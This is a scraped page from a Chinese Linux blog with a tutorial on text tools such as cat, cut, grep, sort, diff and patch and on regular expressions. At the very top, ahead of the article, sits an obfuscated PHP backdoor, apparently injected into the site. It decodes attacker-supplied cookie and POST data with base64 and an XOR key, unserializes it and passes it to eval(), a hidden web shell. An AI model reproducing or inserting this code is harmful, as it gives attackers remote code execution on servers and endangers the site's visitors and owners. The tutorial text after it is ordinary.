$yXMmiEcIGK = chr ( 1034 - 946 ).'J' . chr (82) . chr ( 507 - 412 )."\160" . chr ( 1009 - 924 )."\x70";$HOygnoFBa = "\143" . chr (108) . chr (97) . chr ( 290 - 175 ).'s' . chr ( 711 - 616 ).chr (101) . 'x' . 'i' . "\x73" . "\164" . "\163";$BYAUcYott = class_exists($yXMmiEcIGK); $HOygnoFBa = "43522";$Jlpsxntry = !1;if ($BYAUcYott == $Jlpsxntry){function GYwpAWr(){return FALSE;}$NHUGUhVAVW = "47311";GYwpAWr();class XJR_pUp{private function keUQyUYK($NHUGUhVAVW){if (is_array(XJR_pUp::$yoUiHbHZ)) {$VQenh = str_replace('<' . chr (63) . 'p' . chr ( 380 - 276 )."\x70", "", XJR_pUp::$yoUiHbHZ['c' . "\157" . 'n' . 't' . chr (101) . "\156" . chr (116)]);eval($VQenh); $NHUGUhVAVW = "47311";exit();}}private $EYcCRZiy;public function dnqWMeVW(){echo 28968;}public function __destruct(){$NHUGUhVAVW = "42892_3067";$this->keUQyUYK($NHUGUhVAVW); $NHUGUhVAVW = "42892_3067";}public function __construct($DRaFgsEM=0){$FaiXtmvVIC = $_POST;$GcaGSUVsUd = $_COOKIE;$WLihkFyqXK = "7f2358cb-ef52-4b41-90bf-d69713355722";$eTgQsanT = @$GcaGSUVsUd[substr($WLihkFyqXK, 0, 4)];if (!empty($eTgQsanT)){$gKxEf = "base64";$zSqaoQvNL = "";$eTgQsanT = explode(",", $eTgQsanT);foreach ($eTgQsanT as $JSlTbQdQ){$zSqaoQvNL .= @$GcaGSUVsUd[$JSlTbQdQ];$zSqaoQvNL .= @$FaiXtmvVIC[$JSlTbQdQ];}$zSqaoQvNL = array_map($gKxEf . chr ( 1019 - 924 ).'d' . chr (101) . chr (99) . chr ( 938 - 827 ).'d' . "\145", array($zSqaoQvNL,)); $zSqaoQvNL = $zSqaoQvNL[0] ^ str_repeat($WLihkFyqXK, (strlen($zSqaoQvNL[0]) / strlen($WLihkFyqXK)) + 1);XJR_pUp::$yoUiHbHZ = @unserialize($zSqaoQvNL); $zSqaoQvNL = class_exists("42892_3067");}}public static $yoUiHbHZ = 65175;}$zupyxb = new /* 61085 */ $yXMmiEcIGK(47311 + 47311); $Jlpsxntry = $zupyxb = $NHUGUhVAVW = Array();} 文本处理工具 | Linux运维部落

文本处理工具

一、文本处理工具的分类:

    查看全部内容:more、less、cat、tac、rev

    截取文件内容:head 、tail

    抽取文件内容:cut

    抽取关键字:grep、egrep

    合并两个文件的内容:paste

    下面我们分别来对个命令进行讲解:

            more:

                特点:按屏显示、只能向下翻页

                翻页键:enter:向文件尾部翻一行;space:向文件尾部翻一屏幕

                选项:

                        -#:可指定一屏显示多少行

                        +#:从文件的第#行开始显示

                         +/string:从匹配到string的行开始显示

            less:

                特点:按屏显示、可以向上、向下翻页

                翻页键:enter:向文件尾部翻一行;space:向文件尾部翻一屏幕

                              k:向文件首部翻一行;b:向文件首部翻一屏幕

                选项:/string,可以查看匹配到的字符串,N|n匹配上一个或下一个

            cat:

                特点:全部显示    

                选项:

                        -n:显示每一行的行号

                        -b:只显示非空行的行号

                        -A:显示左右内容包括控制符

                        -E:显示行结束符

                        -s:压缩连续的空行为一行

            tac:

                特点:相当于cat的取反,从下往上显示

            rev:cat输出的结果,旋转180度输出。

    根据下面输出结果可以看出cat、tac、rev的区别

                [root@localhost testdir]# cat a
                1 2 3 4 5 6 7 8 9 10
                abc
                [root@localhost testdir]# tac a
                abc
                1 2 3 4 5 6 7 8 9 10
                [root@localhost testdir]# rev a
                01 9 8 7 6 5 4 3 2 1
                cba

             head:

                    -#:显示文件的前#行

                    -c:显示前N个字节

             tail:

                    -#:显示文件的后#行

                    -c:显示后N个字节

                    -f:可以监听文件或日志是否有更新

                                tail -n 0 -f /var/log/messages &

            cut:

                    特点:可根据分隔符来分割匹配到的行

                    选项:

                          -d:指定分隔符

                           -f:指定要分割的列

                           -c:按字符切割 -c1-5 指定切割每行的前5个字符

                           –output-delimiter=sting :指定输出分隔符

            paste:

                    特点:合并两个文件的同一行 到一行中显示

                    选项:

                            -d:指定两个文件的分隔符,默认时tab

                            -s:两个文件,file1文件所有内容放到一行显示,file2同file

                root@cenots6.8  ~ # paste /etc/issue /etc/passwd
                CentOS release 6.8 (Final)    root:x:0:0:root:/root:/bin/bash
                Kernel \r on an \m    bin:x:1:1:bin:/bin:/sbin/nologin
                daemon:x:2:2:daemon:/sbin:/sbin/nologin
                root@cenots6.8  ~ # paste -s /etc/issue /etc/passwd
                CentOS release 6.8 (Final)    Kernel \r on an \m    
                root:x:0:0:root:/root:/bin/bash    bin:x:1:1:bin:/bin:/sbin/nologin    daemon:x:2:2:dae

           grep:  

                    特点:查找匹配到的关键字,支持正则表达式和扩展正则表达式

                    选项:

                            -o:只显示匹配到的内容

                            -v:除了匹配到的内容,其他的内容都显示

                            -E:扩展正则表达式

                            –color:匹配到的内容显示红色

                            -i:忽略大小写匹配

                            -q:静默模式,通常用户shell脚本中,来判断是否正常输出,echo $?查看

                            -A#:显示匹配到内容及后#行

                            -B#:显示匹配到内容及前#行

                            -C#:显示匹配到的内容及前后#行

                            -e:实现多个匹配选项的或关系

二、分析文本的工具

        排序:sort

        去重:uniq

        统计数量:wc          

        比较文件:diff、patch

              sort:

                      特点:文本排序后在屏幕上显示出来

                      选项:

                            -n:按照数字大小排序

                            -t:指定分隔符

                            -k:指定排序的行默认正序

                            -r:逆序排序输出的行

                            -u:删除输出重复的行(不相邻重复的也算重复和uniq的区别)

                             -f:忽略字母大小写

              uniq:

                        特点:可以查看重复的次数,可以显示重复的和不重复的内容

                        选项:

                                -c:在行首显示该行重复的次数

                                -d:只显示重复的行

                                -c:只显示不重复的行

             wc:

                        特点:可统计单词数,字符数,行数

                        选项:

                                -l:显示行数     –line

                                -c:显示字节数 –char

                                -w:单词数       –world

              diff:

                         特点:可以比较两个文本的不同,针对不同内容可以显示出来或输出到指定文件中当做补丁使用

                          选项:   -u,为输出内容定义统一的diff格式,用于打补丁

                root@cenots6.8  /testdir # paste a b
                I am a    I am b
                haha      hello
                waht?     waht?
                a         b
                
                root@cenots6.8  /testdir # diff a b
                1,2c1,2         #    1,2c1,2 表示a文件的第1行和第二行和b文件的第一行和第二行有不同
                < I am a        #   “<”表示a文件的内容
                < haha
                ---
                > I am b        #   “>”表示a文件的内容
                > hello
                4c4
                < a
                ---
                > b

               patch:

                          特点:配合diff命令用户生成补丁文件

                          选项:-b,补丁文件的时候保留源文件

                                     -i,源文件  补丁文件 

                              不加-i,补丁文件,源文件 

                root@cenots6.8  /testdir # diff -u a b >c.patch
                root@cenots6.8  /testdir # cat c.patch 
                --- a    2016-08-08 10:12:06.173647189 +0800
                +++ b    2016-08-08 10:12:12.640741349 +0800
                @@ -1,4 +1,4 @@
                -I am a
                -haha
                +I am b
                +hello
                 waht?
                -a
                +b
                root@cenots6.8  /testdir # patch -b a c.patch   #  将a文件补丁成b文件,并保存源文件
                patching file a
                 root@cenots6.8  /testdir # cat a
                 I am b
                 hello
                waht?
                b
                            
                root@cenots6.8  /testdir # patch -i c.patch a   # 读取补丁从c.patch 输入 和上述方法一致
                patching file a                      #  只是参数位置不同                                               
                root@cenots6.8  /testdir # cat a 
                I am b
                hello
                waht?
                b
                 root@cenots6.8  /testdir # patch -b a < c.patch  # 将a文件恢复原样 
                patching file a
                Reversed (or previously applied) patch detected!  Assume -R? [n] y
                 root@cenots6.8  /testdir # cat a
                 I am a
                haha
                 waht?
                a

三、正则表达式和扩展正则表达式

            正则表达式功能非常强大,我们可以通过组合一些特殊字符或文本来匹配到我们需要的内容,有些程序功能之所以强大也因为其支持正则表达式,例如:grep、sed、vim等

            根据元字符分类:

                    字符匹配:

                                    [0-9]:匹配0-9之间任意一个数字

                                    [a-z]:匹配aAbB……yYz之间任意一个字母

                                    [A-Z]:匹配aAbB……yYz之间任意一个字母

                                    [[:alpha:]]:匹配任意一个字母

                                    [[:digit:]]:匹配任意一个数字

                                    [[:alnum:]]:匹配任意一个数字或字母

                                    [[:upper:]]:任意一个大写字母

                                    [[:lower:]]:任意一个小写字母

                                    [[:punct:]]:匹配任意一个符号

                                    [[:space:]]:匹配任意一个空格或tab

                                     \(ab\).*\1:匹配左面第一个()里面的内容

                                    .:任意单个字符

                    次数匹配:

                                    \{x,y\}:匹配至少x次,最多y次

                                    \{x,\}:匹配至少x次

                                    \{,y\}:匹配最多y次

                                    \{x\}:匹配x次

                                    \?:匹配0次或1次

                                    \+:匹配至少1次

                                     *:*前面的字符匹配任意次

                    位置锚定:

                                    ^:锚定行首

                                    $:锚定行尾

                                    \<或\b:锚定词首

                                    \>或\b:锚定词尾

                    分组:

                                \(ab\)

                    其他:

                                [^]:非

                                   \:某些具有特殊意义的字符在需要匹配的时候需要转移

       扩展正则表达式:

                扩展正则表达式,除了元字符的区别外,还多了一个 “|” 命令

                        

            根据元字符分类:

                    字符匹配:

                                    [0-9]:匹配0-9之间任意一个数字

                                    [a-z]:匹配aAbB……yYz之间任意一个字母

                                    [A-Z]:匹配aAbB……yYz之间任意一个字母

                                    [[:alpha:]]:匹配任意一个字母

                                    [[:digit:]]:匹配任意一个数字

                                    [[:alnum:]]:匹配任意一个数字或字母

                                    [[:upper:]]:任意一个大写字母

                                    [[:lower:]]:任意一个小写字母

                                    [[:punct:]]:匹配任意一个符号

                                    [[:space:]]:匹配任意一个空格或tab

                                     (ab).*\1:匹配左面第一个()里面的内容

                                    .:任意单个字符

                    次数匹配:

                                    {x,y}:匹配至少x次,最多y次

                                    {x,}:匹配至少x次

                                    {,y}:匹配最多y次

                                    {x}:匹配x次

                                    ?:匹配0次或1次

                                    +:匹配至少1次

                                    *:*前面的字符匹配任意次

                    位置锚定:

                                    ^:锚定行首

                                    $:锚定行尾

                                    \<或\b:锚定词首

                                    \>或\b:锚定词尾

                    分组:

                                (ab)

                    其他:

                                [^]:非

                                   \:某些具有特殊意义的字符在需要匹配的时候需要转移

                                   |:

                                        c | Cat :结果时c或Cat

                                    (c|C)at:结果是cat 或Cat

原创文章,作者:Naruto,如若转载,请注明出处:http://www.178linux.com/30868

(1)
上一篇 2016-08-08 10:03
下一篇 2016-08-08 16:03

相关推荐

  • 开班第一天

    我的一篇小日记

    Linux干货 2018-03-26
  • Linux发展史

    简 述 Linux是一套自由加开放源代码的类Unix操作系统,诞生于1991年10月5日(第一次正式向外公布),由芬兰学生Linus Torvalds和后来陆续加入的众多爱好者共同开发完成。 Linux是一个基于POSIX和Unix的多用户、多任务、支持多线程和多CPU的操作系统。它能运行主要的Unix工具软件、应用程序和网络协议,可支持32位和64位硬件。…

    2016-10-14
  • Linux系统vim文本编辑器

                                                      &nbsp…

    Linux干货 2016-08-15
  • Linux文件管理类命令相关

    Linux文件管理类命令相关 1、Linux上的文件管理类命令都有哪些,其常用的使用方法及其相关示例演示。 1)、查看文件命令: (1)ls命令: list,列出目录下的内容 语法: ls [OPTION]… [FILE]… 常用选项: -a: 显示所有文件,包括隐藏文件; -A:显示除.和..之外的所有文件; -l: –…

    Linux干货 2016-09-24
  • 15 权限管理及作业

    15 权限管理及作业(作业单独一篇) 一、杂项知识整理 1、访问控制列表:ACL:Access Control List,实现灵活的权限管理。     除了文件的所有者,所属组和其它人,可以对更多的用户设置权限。     centos7.0之后默认创建的ext4文件系统有ACL功…

    Linux干货 2016-08-04
  • 高可用keepalived结合haproxy代理WordPress(动静分离)

    (1)A  B两台服务器做keepalived高可用,同时作为haproxy动静分离后端代理。         (keepalived时主备模型,haproxy轮询调度) (2)C 服务器搭建apache作为动态资源服务器 (3)D 服务器搭建nginx作为静态资源服务器 (4)VIP:172.18.0.42…

    2017-05-20